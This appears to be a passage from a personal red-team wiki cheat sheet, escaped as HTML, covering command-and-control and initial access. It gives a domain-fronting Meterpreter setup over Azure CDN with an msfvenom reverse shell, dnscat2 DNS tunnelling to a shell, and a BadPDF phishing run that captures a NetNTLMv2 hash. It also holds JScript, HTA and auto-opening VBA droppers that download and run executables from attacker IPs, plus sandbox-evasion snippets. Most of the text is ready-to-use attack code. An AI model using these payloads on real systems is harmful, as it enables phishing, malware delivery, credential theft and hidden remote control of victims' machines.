&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/Phishing/nonDN2J.hta OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var re = shell.Run(&amp;quot;powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;)&lt;br /&gt;
//var res = shell.Run(&amp;quot;bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt&amp;quot;);&lt;br /&gt;
//var res1 = shell.Run(&amp;quot;timeout 10 &amp;amp;&amp;amp; certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
//var res2 = shell.Run(&amp;quot;timeout 12 &amp;amp;&amp;amp; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
var res = shell.Run(&amp;quot;powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
var ress = shell.Run(&amp;quot;powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
self.close();&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VBA ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
	Dim str As String&lt;br /&gt;
	str = &amp;quot;powershell (New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/run.ps1&#039;) | IEX&amp;quot;&lt;br /&gt;
	Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
	MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
#&lt;br /&gt;
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
 MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
 Dim str As String&lt;br /&gt;
 str = &amp;quot;powershell (New-Object&lt;br /&gt;
System.Net.WebClient).DownloadFile(&#039;http://192.168.119.120/msfstaged.exe&#039;,&lt;br /&gt;
&#039;msfstaged.exe&#039;)&amp;quot;&lt;br /&gt;
 Shell str, vbHide&lt;br /&gt;
 Dim exePath As String&lt;br /&gt;
 exePath = ActiveDocument.Path + &amp;quot;\msfstaged.exe&amp;quot;&lt;br /&gt;
 Wait (2)&lt;br /&gt;
 Shell exePath, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Wait(n As Long)&lt;br /&gt;
 Dim t As Date&lt;br /&gt;
 t = Now&lt;br /&gt;
 Do&lt;br /&gt;
 DoEvents&lt;br /&gt;
 Loop Until Now &amp;gt;= DateAdd(&amp;quot;s&amp;quot;, n, t)&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EXE to DLL ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/hasherezade/exe_to_dll hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Usage&lt;br /&gt;
#Run exe_to_dll from commandline. Arguments:&lt;br /&gt;
args:&lt;br /&gt;
# Example:&lt;br /&gt;
exe_to_dll.exe test_case1.exe test_case1.dll&lt;br /&gt;
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Evasion techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
[https://evasions.checkpoint.com/?utm_source=pocket_saves Evasion techniques (checkpoint.com)]&lt;br /&gt;
&lt;br /&gt;
=== Hypervisor check ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
class Program&lt;br /&gt;
{&lt;br /&gt;
    [DllImport(&amp;quot;hypervisor_check.dll&amp;quot;, CallingConvention = CallingConvention.Cdecl)]&lt;br /&gt;
    public static extern bool is_run_in_hypervisor();&lt;br /&gt;
    static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        bool inHypervisor = is_run_in_hypervisor();&lt;br /&gt;
        Console.WriteLine(inHypervisor ? &amp;quot;Running in a hypervisor!&amp;quot; : &amp;quot;Not running in a hypervisor.&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sleep function ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// Import dll&lt;br /&gt;
[DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
// In main&lt;br /&gt;
DateTime t1 = DateTime.Now;&lt;br /&gt;
Sleep(5000);&lt;br /&gt;
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
if (t2 &amp;lt; 1.5)&lt;br /&gt;
   {&lt;br /&gt;
       return;&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Frida - Hooking ==&lt;br /&gt;
&lt;br /&gt;
== Initial Access - All-around tools ==&lt;br /&gt;
&lt;br /&gt;
